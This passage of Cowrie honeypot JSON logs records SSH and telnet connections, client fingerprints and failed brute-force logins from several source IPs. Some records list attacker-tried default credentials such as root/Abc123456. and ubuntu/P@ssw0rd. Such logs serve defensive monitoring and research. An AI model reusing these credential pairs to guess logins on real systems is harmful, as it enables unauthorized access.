a-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:48.924703Z","src_ip":"91.92.40.36","session":"0efada8576d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":46274,"dst_ip":"159.203.135.109","dst_port":22,"session":"771d0d1433fa","protocol":"ssh","message":"New connection: 102.210.148.92:46274 (159.203.135.109:22) [session: 771d0d1433fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:52.495928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:52.500248Z","src_ip":"102.210.148.92","session":"771d0d1433fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:52.739991Z","src_ip":"102.210.148.92","session":"771d0d1433fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:53.381009Z","src_ip":"91.92.40.36","session":"0efada8576d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456.","message":"login attempt [root/Abc123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:53.730395Z","src_ip":"102.210.148.92","session":"771d0d1433fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18006,"dst_ip":"10.17.0.5","dst_port":22,"session":"f26c7428fe30","protocol":"ssh","message":"New connection: 91.92.40.36:18006 (10.17.0.5:22) [session: f26c7428fe30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:53.794151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:53.909168Z","src_ip":"91.92.40.36","session":"f26c7428fe30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:53.912790Z","src_ip":"91.92.40.36","session":"f26c7428fe30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:54.972878Z","src_ip":"102.210.148.92","session":"771d0d1433fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@@@@","message":"login attempt [root/@@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:55.157125Z","src_ip":"91.92.40.36","session":"f26c7428fe30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:55.749330Z","src_ip":"91.92.40.36","session":"0efada8576d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:41:56.494290Z","src_ip":"91.92.40.36","session":"f26c7428fe30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61926,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6709324b936","protocol":"ssh","message":"New connection: 91.92.40.36:61926 (10.17.0.5:22) [session: d6709324b936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:01.422234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:01.595469Z","src_ip":"91.92.40.36","session":"d6709324b936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:01.601738Z","src_ip":"91.92.40.36","session":"d6709324b936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin@123","message":"login attempt [ubuntu/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:02.453973Z","src_ip":"91.92.40.36","session":"d6709324b936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:03.595566Z","src_ip":"91.92.40.36","session":"d6709324b936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54780,"dst_ip":"10.17.0.5","dst_port":22,"session":"71880daca4f3","protocol":"ssh","message":"New connection: 91.92.40.36:54780 (10.17.0.5:22) [session: 71880daca4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:10.572329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:10.927819Z","src_ip":"91.92.40.36","session":"71880daca4f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:11.903933Z","src_ip":"91.92.40.36","session":"71880daca4f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52974,"dst_ip":"159.203.135.109","dst_port":23,"session":"32f7690e191c","protocol":"telnet","message":"New connection: 172.81.62.90:52974 (159.203.135.109:23) [session: 32f7690e191c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:15.419022Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12512,"dst_ip":"10.17.0.5","dst_port":22,"session":"198a9532b34a","protocol":"ssh","message":"New connection: 91.92.40.36:12512 (10.17.0.5:22) [session: 198a9532b34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:15.883365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:16.382425Z","src_ip":"91.92.40.36","session":"198a9532b34a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:16.387505Z","src_ip":"91.92.40.36","session":"198a9532b34a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:17.381838Z","src_ip":"91.92.40.36","session":"71880daca4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:18.986097Z","src_ip":"91.92.40.36","session":"198a9532b34a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:19.833778Z","src_ip":"91.92.40.36","session":"71880daca4f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:20.994095Z","src_ip":"91.92.40.36","session":"198a9532b34a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.44350790977478,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:22.134462Z","src_ip":"94.23.66.112","session":"6ced1d37118b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12578,"dst_ip":"10.17.0.5","dst_port":22,"session":"548de5868757","protocol":"ssh","message":"New connection: 91.92.40.36:12578 (10.17.0.5:22) [session: 548de5868757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:25.125664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:25.921157Z","src_ip":"91.92.40.36","session":"548de5868757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:26.561409Z","src_ip":"91.92.40.36","session":"548de5868757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":35036,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b56bd32caa6","protocol":"ssh","message":"New connection: 45.123.217.22:35036 (10.17.0.5:22) [session: 5b56bd32caa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:30.345259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:30.351358Z","src_ip":"45.123.217.22","session":"5b56bd32caa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:30.581428Z","src_ip":"45.123.217.22","session":"5b56bd32caa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37688,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbed3261c0c6","protocol":"ssh","message":"New connection: 91.92.40.36:37688 (10.17.0.5:22) [session: bbed3261c0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:31.144082Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ADmin123","message":"login attempt [root/ADmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:31.536722Z","src_ip":"45.123.217.22","session":"5b56bd32caa6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:31.969345Z","src_ip":"91.92.40.36","session":"bbed3261c0c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:31.973435Z","src_ip":"91.92.40.36","session":"bbed3261c0c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahmad","password":"ahmad","message":"login attempt [ahmad/ahmad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:32.516396Z","src_ip":"91.92.40.36","session":"548de5868757","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:32.769275Z","src_ip":"45.123.217.22","session":"5b56bd32caa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btc","password":"btc","message":"login attempt [btc/btc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:34.297323Z","src_ip":"91.92.40.36","session":"bbed3261c0c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:42:34.928115Z","src_ip":"91.92.40.36","session":"548de5868757","protocol":"ssh"}
